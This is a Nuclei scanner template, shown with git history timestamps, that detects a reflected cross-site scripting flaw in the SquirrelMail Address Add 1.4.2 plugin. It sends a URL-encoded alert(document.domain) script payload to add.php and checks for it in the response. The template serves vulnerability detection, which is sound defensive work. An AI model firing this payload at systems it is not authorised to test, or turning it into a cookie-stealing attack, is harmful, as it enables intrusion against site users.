nuclei-templates/vulnerabilities/squirrelmail/squirrelmail-add-xss.yaml

38 lines
1.2 KiB
YAML
Raw Normal View History

2022-01-06 11:51:21 +00:00
id: squirrelmail-address-xss
2021-11-15 18:14:51 +00:00
info:
name: SquirrelMail Address Add 1.4.2 - Cross-Site Scripting
2021-11-15 18:14:51 +00:00
author: dhiyaneshDk
severity: medium
description: SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/26305
classification:
2023-03-03 15:27:54 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
tags: edb,xss,squirrelmail,plugin
2021-11-15 18:14:51 +00:00
requests:
- method: GET
path:
2021-11-16 10:00:41 +00:00
- '{{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-11-15 18:14:51 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
2021-11-16 10:00:41 +00:00
words:
- "</script><script>alert(document.domain)</script>"
2021-11-15 18:14:51 +00:00
- type: word
2021-11-16 10:00:41 +00:00
part: header
2021-11-15 18:14:51 +00:00
words:
- "text/html"
# Enhanced by mp on 2022/09/23